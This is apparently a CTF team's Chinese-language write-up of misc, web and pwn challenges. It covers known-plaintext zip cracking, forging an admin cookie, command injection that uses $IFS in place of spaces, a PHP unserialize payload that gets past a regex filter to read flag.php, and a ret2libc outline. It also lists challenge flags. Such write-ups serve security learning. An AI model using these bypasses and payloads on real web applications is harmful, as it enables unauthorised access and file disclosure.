目录
misc1
misc2(签到)
misc3 (学习资料)
misc4(JUJU)
web1
web2
pwn1
misc和web,和一道pwn
看提示想到去下当时泄露的库
然后写脚本处理一下把数据库的内容,生成三个由用户名,密码,邮箱组成的字典,使用密码组成的字典爆开了压缩包
解压后得到个动图,记录上面的数字得到23685528276158852365572716835687172857481317
剩下的。。。。
这道题下载之后,解压后发现有一个加密过的压缩包,和一个txt。想到有明文攻击
将txt压缩成zip文件(注意压缩工具,最好选择winrar,不同的压缩工具压缩算法会有差别)
利用工具ARCHPR4.53进行明文攻击,破解压缩包密码(关于工具版本问题,队友的工具版本不同,破解不成功
这个版本是师傅推荐的比较靠谱的版本)
破解成功
解压之后的到一个word文档,打开发现没有什么东西(队友的打开就有flag,只是不能复制,原因成迷)
将word文档后缀改为zip解压后得到一堆东西,在/word/document.xml里面发现flag
{edaa144c91a4e5b817e4a18cbdb78879}
下载之后是一张png图片,很容易就想到修改宽高(更多姿势)
winhex打开之后
我们把高修改为和宽一样的值
保存之后,就会发现图片显示的东西比原来多了
将图片下方的编码 进行base32解码,得到flag{a213072327f762855e475779eb081ca3}
御剑扫了之后发现有之后发现有admin.php和DS_Store文件,利用DS_Store文件泄露工具(ds_store_exp),把文件下载到本地
直接访问admin.php发现有提示信息,不是admin访问不了
访问主页,抓包发现cookie里面有一个user字段,解base64发现是user
尝试把user字段的值,改为base64加密的amdin,发现有302 跳转至admin.php,继续修改cookie值,访问到了后台
结合之前通过DS_Store泄露出的文件admin.html里面有这样的提示
知道应该是命令执行,抓包后发现如果输入命令有空格,会返回错误提醒,百度之后发现$IFS可以一定情况下代替空格的作用,用作分隔
找到flag
打开题目之后看见这样的代码
file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./index.php");
}
?>
发现他自己定义了一个baby类,里面调用了file_get_content函数,我们可以通过给data,实例化这个类从而执行file_get_content这个函数
利用脚本构造payload
file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
$data=new baby();
$data->file = "flag.php";
echo serialize($data);
?>
然后preg_match('/[oc]:\d+:/i',$data,$matches);
匹配data中是否有(o或c:数字:(不区分大小写))这样条件的内容,有的话返回hacker,百度之后加号可以绕过
O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}
但是如果get这段数值,加号会被替换成空格,导致反序列化失败,所以把+进行url编码,之后再赋值
O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}
拿到flag ad2328a2c3f0933c053fd3c6f28f6143
messageb0x
洞在此处,还有一点:
函数的汇编是这样的,我不确定ida里给的偏移是否正确,在peda中好探测
gdb调试:
先
b *0x080492e2
r:
92:
思路:
没有在程序中发现system函数,也没有/bin/sh
1.没有system,选择用int80来做:
ROPgadget --binary messageb0x | grep "int 0x80":
没有找到:
/bin/sh:
也木有
换思路:
1.泄露puts函数地址
2.获取libc版本号
3.获取/bin/sh地址
4.payload:
这里个人感觉有些小坑,刚开始ret用的main的,但是打exp卡住,后来看函数汇编:
不是leave;ret的,构造的main rop打不了,后来换了process_info,绕过了main的 ret,打成功了,记得要常看代码的汇编。。。。
pwn还没有自己复现,wp来自队友 , 有时间再自己复现,到时候再补